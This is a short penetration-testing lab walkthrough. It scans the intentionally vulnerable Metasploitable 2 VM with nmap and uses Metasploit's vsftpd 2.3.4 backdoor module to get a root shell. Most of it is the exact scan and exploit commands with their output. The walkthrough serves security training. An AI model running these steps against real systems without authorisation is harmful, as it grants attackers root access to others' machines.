Metasploitable2 – Exploit vsftpd

This is the walk-through solution to exploit the vsftpd (very secure FTP daemon) vulnerability of the Metasploitable 2 virtual machine.

This walk-through was done using VirtualBox and IP address was 10.0.2.15.

Introduction

Metasploitable is an intentionally vulnerable Linux virtual machine. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques.

Scan with nmap

nmap -T4 -A -v 10.0.2.15

Output:
...
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
...

We learn that:

There is a ftp server on port 21, using vsftpd version 2.3.4

Exploit vsftpd with Metasploit

msfconsole
search vsftpd
use exploit/unix/ftp/vsftpd_234_backdoor
show options
set RHOST 10.0.2.15
show options
exploit

We now have a shell on Metasploitable 2 virtual machine.

whoami

Output:
root

You are root!!!